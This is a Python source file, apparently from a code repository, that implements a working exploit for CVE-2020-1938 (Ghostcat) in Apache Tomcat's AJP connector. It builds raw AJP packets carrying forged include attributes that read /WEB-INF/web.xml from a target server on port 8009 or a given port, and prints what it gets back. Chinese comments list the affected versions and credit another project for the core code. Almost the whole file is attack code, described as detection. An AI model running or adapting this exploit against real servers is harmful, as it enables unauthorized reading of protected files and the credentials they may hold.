390 lines
15 KiB
Python
390 lines
15 KiB
Python
# -*- coding: utf-8 -*-
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# CNVD-2020-10487 / CVE-2020-1938
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# https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/blob/master/CNVD-2020-10487-Tomcat-Ajp-lfi.py 核心代码出自此处
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from socket import *
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import struct
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from io import StringIO
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'''
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Usage:
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moon.py -u tomcat http://127.0.0.1:8080
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上面链接带不带端口无所谓，不带端口默认检测8009，带端口会检测链接中的端口和8009，不会检测两次8009
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受影响版本
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Apache Tomcat 6
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Apache Tomcat 7 < 7.0.100
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Apache Tomcat 8 < 8.5.51
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Apache Tomcat 9 < 9.0.31
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不受影响版本
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1. Apache Tomcat = 7.0.100
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2. Apache Tomcat = 8.5.51
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3. Apache Tomcat = 9.0.31
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'''
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def pack_string(s):
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if s is None:
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return struct.pack(">h", -1)
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l = len(s)
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return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
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def unpack(stream, fmt):
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size = struct.calcsize(fmt)
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buf = stream.read(size)
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return struct.unpack(fmt, buf)
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def unpack_string(stream):
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size, = unpack(stream, ">h")
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if size == -1: # null string
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return None
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res, = unpack(stream, "%ds" % size)
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stream.read(1) # \0
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return res
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class NotFoundException(Exception):
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pass
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class AjpBodyRequest(object):
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# server == web server, container == servlet
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SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
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MAX_REQUEST_LENGTH = 8186
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def __init__(self, data_stream, data_len, data_direction=None):
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self.data_stream = data_stream
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self.data_len = data_len
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self.data_direction = data_direction
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def serialize(self):
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data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
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if len(data) == 0:
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return struct.pack(">bbH", 0x12, 0x34, 0x00)
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else:
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res = struct.pack(">H", len(data))
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res += data
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if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
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header = struct.pack(">bbH", 0x12, 0x34, len(res))
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else:
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header = struct.pack(">bbH", 0x41, 0x42, len(res))
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return header + res
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def send_and_receive(self, socket, stream):
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while True:
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data = self.serialize()
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socket.send(data)
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r = AjpResponse.receive(stream)
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while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
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r = AjpResponse.receive(stream)
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if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
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break
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class AjpForwardRequest(object):
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_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
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28)
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REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE,
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'TRACE': TRACE}
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# server == web server, container == servlet
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SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
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COMMON_HEADERS = ["SC_REQ_ACCEPT",
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"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE",
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"SC_REQ_AUTHORIZATION",
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"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE",
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"SC_REQ_COOKIE2",
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"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
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]
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ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert",
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"ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
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def __init__(self, data_direction=None):
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self.prefix_code = 0x02
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self.method = None
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self.protocol = None
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self.req_uri = None
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self.remote_addr = None
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self.remote_host = None
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self.server_name = None
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self.server_port = None
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self.is_ssl = None
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self.num_headers = None
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self.request_headers = None
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self.attributes = None
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self.data_direction = data_direction
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def pack_headers(self):
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self.num_headers = len(self.request_headers)
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res = ""
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res = struct.pack(">h", self.num_headers)
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for h_name in self.request_headers:
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if h_name.startswith("SC_REQ"):
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code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
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res += struct.pack("BB", 0xA0, code)
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else:
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res += pack_string(h_name)
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res += pack_string(self.request_headers[h_name])
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return res
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def pack_attributes(self):
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res = b""
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for attr in self.attributes:
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a_name = attr['name']
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code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
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res += struct.pack("b", code)
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if a_name == "req_attribute":
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aa_name, a_value = attr['value']
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res += pack_string(aa_name)
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res += pack_string(a_value)
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else:
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res += pack_string(attr['value'])
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res += struct.pack("B", 0xFF)
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return res
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def serialize(self):
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res = ""
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res = struct.pack("bb", self.prefix_code, self.method)
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res += pack_string(self.protocol)
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res += pack_string(self.req_uri)
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res += pack_string(self.remote_addr)
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res += pack_string(self.remote_host)
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res += pack_string(self.server_name)
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res += struct.pack(">h", self.server_port)
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res += struct.pack("?", self.is_ssl)
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res += self.pack_headers()
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res += self.pack_attributes()
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if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
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header = struct.pack(">bbh", 0x12, 0x34, len(res))
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else:
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header = struct.pack(">bbh", 0x41, 0x42, len(res))
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return header + res
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def parse(self, raw_packet):
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stream = StringIO(raw_packet)
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self.magic1, self.magic2, data_len = unpack(stream, "bbH")
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self.prefix_code, self.method = unpack(stream, "bb")
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self.protocol = unpack_string(stream)
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self.req_uri = unpack_string(stream)
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self.remote_addr = unpack_string(stream)
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self.remote_host = unpack_string(stream)
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self.server_name = unpack_string(stream)
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self.server_port = unpack(stream, ">h")
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self.is_ssl = unpack(stream, "?")
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self.num_headers, = unpack(stream, ">H")
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self.request_headers = {}
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for i in range(self.num_headers):
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code, = unpack(stream, ">H")
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if code > 0xA000:
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h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
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else:
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h_name = unpack(stream, "%ds" % code)
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stream.read(1) # \0
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h_value = unpack_string(stream)
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self.request_headers[h_name] = h_value
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def send_and_receive(self, socket, stream, save_cookies=False):
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res = []
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i = socket.sendall(self.serialize())
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if self.method == AjpForwardRequest.POST:
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return res
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r = AjpResponse.receive(stream)
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assert r.prefix_code == AjpResponse.SEND_HEADERS
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res.append(r)
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if save_cookies and 'Set-Cookie' in r.response_headers:
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self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
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# read body chunks and end response packets
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while True:
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r = AjpResponse.receive(stream)
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res.append(r)
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if r.prefix_code == AjpResponse.END_RESPONSE:
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break
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elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
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continue
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else:
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raise NotImplementedError
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break
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return res
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class AjpResponse(object):
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_, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
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COMMON_SEND_HEADERS = [
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"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
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"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
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]
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def parse(self, stream):
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# read headers
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self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
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if self.prefix_code == AjpResponse.SEND_HEADERS:
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self.parse_send_headers(stream)
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elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
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self.parse_send_body_chunk(stream)
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elif self.prefix_code == AjpResponse.END_RESPONSE:
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self.parse_end_response(stream)
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elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
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self.parse_get_body_chunk(stream)
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else:
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raise NotImplementedError
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def parse_send_headers(self, stream):
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self.http_status_code, = unpack(stream, ">H")
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self.http_status_msg = unpack_string(stream)
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self.num_headers, = unpack(stream, ">H")
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self.response_headers = {}
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for i in range(self.num_headers):
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code, = unpack(stream, ">H")
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if code <= 0xA000: # custom header
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h_name, = unpack(stream, "%ds" % code)
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stream.read(1) # \0
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h_value = unpack_string(stream)
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else:
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h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001]
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h_value = unpack_string(stream)
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self.response_headers[h_name] = h_value
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def parse_send_body_chunk(self, stream):
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self.data_length, = unpack(stream, ">H")
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self.data = stream.read(self.data_length + 1)
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def parse_end_response(self, stream):
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self.reuse, = unpack(stream, "b")
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def parse_get_body_chunk(self, stream):
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rlen, = unpack(stream, ">H")
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return rlen
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@staticmethod
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def receive(stream):
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r = AjpResponse()
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r.parse(stream)
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return r
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def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
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fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
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fr.method = method
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fr.protocol = "HTTP/1.1"
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fr.req_uri = req_uri
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fr.remote_addr = target_host
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fr.remote_host = None
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fr.server_name = target_host
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fr.server_port = 80
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fr.request_headers = {
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'SC_REQ_ACCEPT': 'text/html',
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'SC_REQ_CONNECTION': 'keep-alive',
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'SC_REQ_CONTENT_LENGTH': '0',
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'SC_REQ_HOST': target_host,
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'SC_REQ_USER_AGENT': 'Mozilla',
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'Accept-Encoding': 'gzip, deflate, sdch',
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'Accept-Language': 'en-US,en;q=0.5',
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'Upgrade-Insecure-Requests': '1',
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'Cache-Control': 'max-age=0'
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}
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fr.is_ssl = False
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fr.attributes = []
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return fr
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class Tomcat(object):
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def __init__(self, target_host, target_port):
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self.target_host = target_host
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self.target_port = target_port
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self.socket = socket(AF_INET, SOCK_STREAM)
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self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
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self.socket.connect((target_host, target_port))
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self.stream = self.socket.makefile("rb", buffering=0)
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def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
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self.req_uri = req_uri
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self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
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method=AjpForwardRequest.REQUEST_METHODS.get(method))
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print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
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if user is not None and password is not None:
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self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + (
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"%s:%s" % (user, password)).encode('base64').replace('\n', '')
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for h in headers:
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self.forward_request.request_headers[h] = headers[h]
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for a in attributes:
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self.forward_request.attributes.append(a)
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responses = self.forward_request.send_and_receive(self.socket, self.stream)
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if len(responses) == 0:
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return None, None
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snd_hdrs_res = responses[0]
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data_res = responses[1:-1]
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if len(data_res) == 0:
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print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
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return snd_hdrs_res, data_res
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def attack(URL):
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print('[+]开始检测-Tomcat-CVE-2020-1938。[+]')
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#url中不带有端口
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if len(URL.split(':')) == 2:
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port = 8009
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print('port',port)
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print('ip',URL.split(':')[1][2:])
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try:
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t = Tomcat(URL.split(':')[1][2:], port)
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_, data = t.perform_request('/asdf', attributes=[
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{'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
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{'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', '/WEB-INF/web.xml']},
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{'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
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])
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print('----------------------------')
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print(type(data))
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print(data[0].data.decode('UTF-8'))
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except Exception as e:
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print(e,'Some error!')
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#url中带有端口
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elif len(URL.split(':')) == 3:
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print('ip',URL.split(':')[1][2:])
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print('port',URL.split(':')[2])
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try:
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t = Tomcat(URL.split(':')[1][2:], int(URL.split(':')[2]))
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_, data = t.perform_request('/asdf', attributes=[
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{'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
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{'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', '/WEB-INF/web.xml']},
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{'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
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])
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print('----------------------------')
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print(type(data))
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print(data[0].data.decode('UTF-8'))
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except Exception as e:
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print(e,'Some error!')
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print('=================================')
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if int(URL.split(':')[2]) != 8009:
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print('ip', URL.split(':')[1][2:])
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print('port', 8009)
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try:
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t = Tomcat(URL.split(':')[1][2:], 8009)
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_, data = t.perform_request('/asdf', attributes=[
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{'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
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{'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', '/WEB-INF/web.xml']},
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{'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
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])
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print('----------------------------')
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print(type(data))
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print(data[0].data.decode('UTF-8'))
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except Exception as e:
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print(e,'Some error!')
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else:
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pass
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else:
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print('url error')
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print('[+]检测结束-Tomcat-CVE-2020-1938。[+]')
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print('\n')
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if __name__ == '__main__':
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attack()
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